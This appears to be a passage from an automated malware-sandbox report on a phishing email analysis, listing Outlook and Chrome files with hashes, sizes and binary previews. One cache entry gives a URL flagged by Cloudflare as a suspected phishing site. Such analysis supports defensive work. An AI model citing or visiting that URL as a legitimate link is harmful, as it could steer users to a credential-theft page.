MD5:	FBCCF14D504B7B2DBCB5A5BDA75BD93B
SHA1:	D59FC84CDD5217C6CF74785703655F78DA6B582B
SHA-256:	EACD09517CE90D34BA562171D15AC40D302F0E691B439F91BE1B6406E25F5913
SHA-512:	AA1D2B1EA3C9DE3CCADB319D4E3E3276A2F27DD1A5244FE72DE2B6F94083DDDC762480482C5C2E53F803CD9E3973DDEFC68966F974E124307B5043E654443B98
Malicious:	false
Preview:	[ZoneTransfer]..ZoneId=3..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{D4CAC70D-CE29-4491-8290-18AE3B736896}.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	1604
Entropy (8bit):	1.1599728868007908
Encrypted:	false
SSDEEP:	6:t+RCNl8a+5MVkEDA011Uxs9AKY2EAhkly/n8irwl27D1lXMvOwWlqH4/rH:tXz+5uk+j11ML2Vkl5iklm1lXUIH
MD5:	5890A7112C1FE6A73A3C026ECDBD4877
SHA1:	DA93FA6376E76BF24B05A23628C7CB11A9FBBEF2
SHA-256:	F130A227CE57F1018700DEF8DA6175A4FE4CA952F558E2329758B3427E6A8D53
SHA-512:	3A5E0FF1C06FF281904DD8FF121B81D377A6C0551FFBA1D32D8AFDF23B972FF87DDC56CEBBC6D153E842476A9C60829BB036A49B88864E64446A84D39B0BEE27
Malicious:	false
Preview:	......Y.o.u. .d.o.n.'.t. .o.f.t.e.n. .g.e.t. .e.m.a.i.l. .f.r.o.m. .s.h.a.n.e.@.c.h.r.i.s.t.o.f.f...i.e... .H.Y.P.E.R.L.I.N.K. .".h.t.t.p.s.:././.a.k.a...m.s./.L.e.a.r.n.A.b.o.u.t.S.e.n.d.e.r.I.d.e.n.t.i.f.i.c.a.t.i.o.n."...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Diagnostics\OUTLOOK\App1728028569099865600_50C28BED-DEBA-4E65-9242-951D7A758EEA.log

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	ASCII text, with very long lines (28780), with CRLF line terminators
Category:	dropped
Size (bytes):	20971520
Entropy (8bit):	0.1762081785244253
Encrypted:	false
SSDEEP:	1536:6IjpvqvKT6NSDqrWS0LqYy7Hxb98Mvvj0tRTh5VN+wklBV5P8:jqCASD9d6tmU
MD5:	E86CDF7B129696D4A46C90B9488A3003
SHA1:	670319DDBBFADD052B20D0A12796AEB8DEA29F07
SHA-256:	30824DC3A398B99AD4483E87FDCAD022ADCB6135DED70F0B5A931B24B7AA952E
SHA-512:	7F8A0C4596CD1F8DC5614B1DAFA26356682E22BD9695668C7DF0F94948D8D51B0A54177ABADE28EF7FA6FD9F10062975322479362C9113B95DAE51979E736F3C
Malicious:	false
Preview:	Timestamp.Process.TID.Area.Category.EventID.Level.Message.Correlation..10/04/2024 07:56:09.133.OUTLOOK (0xF88).0x3D8.Microsoft Outlook.Telemetry Event.b7vzq.Medium.SendEvent {"EventName":"Office.Text.GDIAssistant.HandleCallback","Flags":30962256044949761,"InternalSequenceNumber":27,"Time":"2024-10-04T07:56:09.133Z","Contract":"Office.System.Activity","Activity.CV":"7YvCULreZU6SQpUdenWO6g.4.11","Activity.Duration":12,"Activity.Count":1,"Activity.AggMode":0,"Activity.Success":true,"Data.GdiFamilyName":"","Data.CloudFontStatus":6,"Data.CloudFontTypes":256}...10/04/2024 07:56:09.149.OUTLOOK (0xF88).0x3D8.Microsoft Outlook.Telemetry Event.b7vzq.Medium.SendEvent {"EventName":"Office.Text.ResourceClient.Deserialize","Flags":30962256044949761,"InternalSequenceNumber":29,"Time":"2024-10-04T07:56:09.149Z","Contract":"Office.System.Activity","Activity.CV":"7YvCULreZU6SQpUdenWO6g.4.12","Activity.Duration":12636,"Activity.Count":1,"Activity.AggMode":0,"Activity.Success":true,"Data.JsonFileMajorVers

C:\Users\user\AppData\Local\Temp\Diagnostics\OUTLOOK\App1728028569100526500_50C28BED-DEBA-4E65-9242-951D7A758EEA.log

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	20971520
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	8F4E33F3DC3E414FF94E5FB6905CBA8C
SHA1:	9674344C90C2F0646F0B78026E127C9B86E3AD77
SHA-256:	CD52D81E25F372E6FA4DB2C0DFCEB59862C1969CAB17096DA352B34950C973CC
SHA-512:	7FB91E868F3923BBD043725818EF3A5D8D08EBF1059A18AC0FE07040D32EEBA517DA11515E6A4AFAEB29BCC5E0F1543BA2C595B0FE8E6167DDC5E6793EDEF5BB
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Outlook Logging\OUTLOOK_16_0_16827_20130-20241004T0356030769-3976.etl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	94208
Entropy (8bit):	4.495602934967732
Encrypted:	false
SSDEEP:	1536:hqsB+CYb2K2lXdOxc8x2AJiapEZs4E09K7TBDXes9GafXjyPJ8czVW+Xlz1UL1rV:hqsB+CYb2K2lXdOxc8x2AJiapEZs4E0w
MD5:	6924ACABC3B19EDC396B2A8776F16A44
SHA1:	655C222CFCF280799D46735F89F8934ED4F2A129
SHA-256:	A6E0483744109A171868217B1F5A4926401A355895ACE21149C17A12C371243F
SHA-512:	EA2992BBBE6BE72F169BE985C6D47DC70FA3CC9042266D1B95D1205041935CCCB2632C190A0CBE32E3B00CB9A876BB1ADE6407DA5421942C3EFFC488F9F38678
Malicious:	false
Preview:	............................................................................^.............K.2...................eJ..............Zb..2...................................,...@.t.z.r.e.s...d.l.l.,.-.1.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.1.1.1................................................................Y............K.2...........v.2._.O.U.T.L.O.O.K.:.f.8.8.:.7.9.1.1.c.a.b.5.9.a.a.e.4.b.8.5.b.f.f.a.0.b.e.b.e.b.7.4.7.5.1.4...C.:.\.U.s.e.r.s.\.c.a.l.i.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.O.u.t.l.o.o.k. .L.o.g.g.i.n.g.\.O.U.T.L.O.O.K._.1.6._.0._.1.6.8.2.7._.2.0.1.3.0.-.2.0.2.4.1.0.0.4.T.0.3.5.6.0.3.0.7.6.9.-.3.9.7.6...e.t.l.........P.P...........K.2...........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF23B6B0AD3E99FD9E.TMP

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.3613836054883338
Encrypted:	false
SSDEEP:	3:YmsalTlLPltl2N81HRQjlORGt7RQ//W1XR9//3R9//3R9//:rl912N0xs+CFQXCB9Xh9Xh9X
MD5:	679672A5004E0AF50529F33DB5469699
SHA1:	427A4EC3281C9C4FAEB47A22FFBE7CA3E928AFB0
SHA-256:	205D000AA762F3A96AC3AD4B25D791B5F7FC8EFB9056B78F299F671A02B9FD21
SHA-512:	F8615C5E5CF768A94E06961C7C8BEF99BEB43E004A882A4E384F5DD56E047CA59B963A59971F78DCF4C35D1BB92D3A9BC7055BFA3A0D597635DE1A9CE06A3476
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFC67FB01020D79663.TMP

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFE8BC9BE0037AF83C.TMP

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	163840
Entropy (8bit):	0.4315442876741041
Encrypted:	false
SSDEEP:	192:nh8VgIkC3/POesfHJlc+zkUp11A9sSB1qAbAWWvn2Ngz0XHWQOoWNh/:hE3ka/PzkHJlUUpWsSBEManZz0XHOo
MD5:	BA99E01206B40786FFDD1BD2024768CB
SHA1:	846107401F3D99DD7BC033509728ED9FEA9B32F0
SHA-256:	69E171255C9543B348804D18C659ACCDC9AD09C0D4D6DDE963A21982E3C515AE
SHA-512:	34042C26E419170858235B4D972EF9EA810D8EC518D764005796BF6E08822011C331FB36DDC037729CD696ACD230304C358E1C9623CD65D6D2B473967647BBE6
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Office\MSO3072.acl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	30
Entropy (8bit):	1.2389205950315936
Encrypted:	false
SSDEEP:	3:QG1:Q
MD5:	4AEC40D7634FA7FADD5874CC353F47FD
SHA1:	797AC7C3264FC10CE83DCBC5033128FCCF893FF2
SHA-256:	C2ABAB62073DAF608A4B62E60D59ED2876F21AB700411211DE98915FBD873862
SHA-512:	D1F085BA8724A01903FDD14670F2F0AFA9883A4B445BBB6E4A693484CCC3666F0F3E304A78451A87BB4AB6564FBB1D69837B7E2EA087CB564E862461C2564D59
Malicious:	false
Preview:	..............................

C:\Users\user\AppData\Roaming\Microsoft\Outlook\NoEmail.srs

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.6699531924659474
Encrypted:	false
SSDEEP:	12:rl3baFYqLKeTy2MyheC8T23BMyhe+S7wzQe9zNMyhe+S7xMyheCgOGm:rmmnq1Pj961g3m
MD5:	2914100119A60720FC888A030BA73820
SHA1:	1E0B28C969F51B3C33D6220864F57604D1ED0315
SHA-256:	E96BA373B861EEBE85D543B587F89553811C2A5FCFF8BE243DADC9770D2D9471
SHA-512:	D0995D048D1DE6F91D2C86487152BABA5C7722880925B15F4890BFBBFCCB6F1B057759F27608DE9260AD586C6C0AF72C9F67CABF34C8BF31D0FDDC6B2AB8EE27
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 4 06:56:29 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.989193800691251
Encrypted:	false
SSDEEP:	48:8EdEcTkAPJwHCidAKZdA1FehwiZUklqeh1y+3:8DcQUJFyy
MD5:	DD1B975813D64262359DCF25F443FF05
SHA1:	DDE9D055111057CDD3ACF56510E76017E38D3E38
SHA-256:	3A9A738A5FEEAB9FB6DB2E053564D78CB1FE945E795360952079795FE4411464
SHA-512:	0E040E576AD35FD0495FC23B84BDDF26242AD9920B6D9093C70CCBA95F8E807DE882C5D370CA67EEBD24D1BAD3BCD5BE9557FF1AFDCC39A4A97FE116492A66F0
Malicious:	false
Preview:	L..................F.@.. ...$+.,....`...2...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IDY.>....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VDY.?....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VDY.?....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VDY.?..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDY.?...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............X.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 4 06:56:29 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	4.006104065849977
Encrypted:	false
SSDEEP:	48:8HdEcTkAPJwHCidAKZdA1seh/iZUkAQkqehiy+2:8+cQUJb9Qvy
MD5:	017D21944A217F5A5B2D52BC61B98185
SHA1:	5457A2219651D613B5F0F97CB68F75BA21FA9E9F
SHA-256:	036841B47F60179FB07AD413A3BB4784A06A8EA0B0149A932BFFF3F1AFDF3B10
SHA-512:	E42B685C4AE8B464E2B312C6C76C4AF4F84FC4EF6372728DD87AA9C15F1E24D1B43F3F804060FB8F66E90FACA1FE7B4DFB9CC252EDFD01C4451FBF2AFDDA030D
Malicious:	false
Preview:	L..................F.@.. ...$+.,........2...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IDY.>....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VDY.?....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VDY.?....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VDY.?..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDY.?...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............X.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:05:01 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2689
Entropy (8bit):	4.012278419053715
Encrypted:	false
SSDEEP:	48:8DdEcTkAPAHCidAKZdA14meh7sFiZUkmgqeh7s8y+BX:8icQUfney
MD5:	131914C125E4995F2F272CDD7F8DA224
SHA1:	051CCFECE260C7F8C14B95932A412137564699D3
SHA-256:	CF21A1D5D8B5861A2ED0173F46D592987667BC480AADEA6A00B8A8A14BCA2BC4
SHA-512:	72E36241228BF7A3D7F122312B004E0FD53A91F38E34C669D50B97C63D0669E7FDDA6F6F62060F88A6BBDD316943AC5B3E80EAF8513BD63B0A429029E9A44912
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....Y.04...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IDY.>....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VDY.?....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VDY.?....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VDY.?..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFW.E...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............X.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 4 06:56:29 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	4.002632762429405
Encrypted:	false
SSDEEP:	48:8pdEcTkAPJwHCidAKZdA1TehDiZUkwqehWy+R:8ocQUJIUy
MD5:	371BAC39316D46B70A39EAEA13B8EB45
SHA1:	82C3F63CA1C4367B8ACE1233D164E1B15AD49CC0
SHA-256:	9DD6D7454BDF7957243E221F7BBBE13978685E5079D21F16CD9C6F5BF33800BB
SHA-512:	2D5CE2021A8C756D8888C4E74FBA9D9F56475C4AB723F24B6C6C465C0B9202E1AFA28905124400C98409F379DF3F6C10CAEA5931CD095E3E9973816211EC130B
Malicious:	false
Preview:	L..................F.@.. ...$+.,....+K..2...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IDY.>....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VDY.?....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VDY.?....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VDY.?..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDY.?...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............X.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 4 06:56:29 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9936653329007368
Encrypted:	false
SSDEEP:	48:8UdEcTkAPJwHCidAKZdA1dehBiZUk1W1qehYy+C:8TcQUJ494y
MD5:	DADCE09F9A0E44816504330F6CA9497D
SHA1:	39787B2E3109DCF8BA744FB50912CC360A53770B
SHA-256:	37D977DA0C5322E85113F3501EA90A7109DCD52D3EFF23783A6B20C099E3A71B
SHA-512:	765C5306F25188C304C7D9529B634DBD36CCD8EDE7BA978F352D94A612A98BF4EEFF1B6B7B58752290D94F27FD90E45EC2558CE80E4E81D4EFA76AC5D75A1912
Malicious:	false
Preview:	L..................F.@.. ...$+.,.......2...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IDY.>....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VDY.?....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VDY.?....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VDY.?..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDY.?...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............X.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 4 06:56:29 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	4.001452236210071
Encrypted:	false
SSDEEP:	48:8+rdEcTkAPJwHCidAKZdA1duTeehOuTbbiZUk5OjqehOuTbey+yT+:8hcQUJKTfTbxWOvTbey7T
MD5:	CBDF71794AF1573E9E38B8514BE38698
SHA1:	7564DFE2DC1516B00A26626910ADCFB7F6C19FB9
SHA-256:	DB3F3EB919083429E0C2E34AAF25B9AE82D3BE625B13146583E9F0E893DE4132
SHA-512:	CF9B1FACABE9769BC02DB672D3A2DE7866071249FC2E61B0C84F000D6BFB22806B93D359FD58E68A6ECB1BF43818B39E5D987E8B9C9BCCF30CEC7284017BF691
Malicious:	false
Preview:	L..................F.@.. ...$+.,....Y#..2...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IDY.>....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VDY.?....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VDY.?....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VDY.?..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDY.?...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............X.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\Documents\Outlook Files\Outlook Data File - NoEmail.pst

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	Microsoft Outlook email folder (>=2003)
Category:	dropped
Size (bytes):	271360
Entropy (8bit):	1.3255160254027247
Encrypted:	false
SSDEEP:	768:wkQc3hzll6Dddp1gTr70rJ86eJGJvFnmBfZ8BUTIZ:xll6pJe6F8fZeNZ
MD5:	65FE737EE111B05C7E96EC4F2C9ABE2C
SHA1:	60053DB2AC611A410A28D21CEF6205F7E6F6F387
SHA-256:	BA560225A75D2EEA29C24EC546750A8F1A83FB66BFF8D582C497CF6174720839
SHA-512:	DA842AA1234F54E97DC5BAB5E65375F5D5CCAB46932D69C1913DD5AFBF845AC1A03FD7AF54C672A6573A73D66D0AC6340E2EC03E26FCB8D09E149A3985AF1F15
Malicious:	false
Preview:	!BDN..B.SM......\...............+.......P................@...........@...@...................................@...........................................................................$.......D.......O..............$...............*...........................................................................................................................................................................................................................................................................................h..........,;.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\Outlook Files\~Outlook Data File - NoEmail.pst.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	1.2946888130796141
Encrypted:	false
SSDEEP:	384:lW2HnbYnwfTrix6mpS4MRW7t4Th/GN1FQTr4WjZG0yO4r8WIJWSJ7H1Rmu:XnbYQijClGD2WBf2Jj1
MD5:	9327AABF5E4E4489B500479D23EB87BB
SHA1:	F0DFC886B5DB1E58FBB1F28C2BB082216CDE8C7B
SHA-256:	7A9141709A4CCC57832F6BB53E07F7BC144E4F4845DBA78BF7711242A709083D
SHA-512:	F00218D2F3F87EF5269071F109B13CCEA90E22E2B7B3BBC5DF5D8AC20246F731F3FCA04C73469387F2F62D6411451B536C0555F1DB1FD9908FF9D88640DA47B2
Malicious:	false
Preview:	....0...w...........I.+.2........D............#...........................................................~.........................................................................................................................................................................................................................................................................................................................................................................................................................................................z r..D........@M0...x...........I.+.2........B............#.........................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 68

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (394)
Category:	downloaded
Size (bytes):	4402
Entropy (8bit):	5.087807965783127
Encrypted:	false
SSDEEP:	96:1j9jwIjYjUDK/D5DMF+BOisaA2ZLimirR49PaQxJbGD:1j9jhjYjIK/Vo+ts+ZOmirO9ieJGD
MD5:	BD30BC93F0821BB449487A0F81CDC5D1
SHA1:	B4AAD02E05DC8CF4B3474C473BC422213EB20542
SHA-256:	6AEA1A75F50567E2AAC642D83B6F52D30AF8F61F157876421073A5FB5A507180
SHA-512:	F14BBA743D3E413F35ED9D1B3B1F5D667BCE57D41E399808A69A4EBFDCDC1E577F07A802BFCCE4FA5472A9F0E60856C3548538F6B2177240701D90888C81363F
Malicious:	false
URL:	https://qiczox0.ascenseurm8.com/76ikbi1/
Preview:	<!DOCTYPE html>. [if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->. [if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->. [if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->. [if gt IE 8]> > <html class="no-js" lang="en-US"> <![endif]-->.<head>.<title>Suspected phishing site \| Cloudflare</title>.<meta charset="UTF-8" />.<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />.<meta http-equiv="X-UA-Compatible" content="IE=Edge" />.<meta name="robots" content="noindex, nofollow" />.<meta name="viewport" content="width=device-width,initial-scale=1" />.<link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" />. [if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]-->.<style>body{margin:0;padding:0}</style>... [if gte IE 10]> >.<script>. if (!navigator.cookieEnabled) {. window.addEventListener('DOMContentLoaded

Chrome Cache Entry: 69

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	344
Entropy (8bit):	5.238996255364972
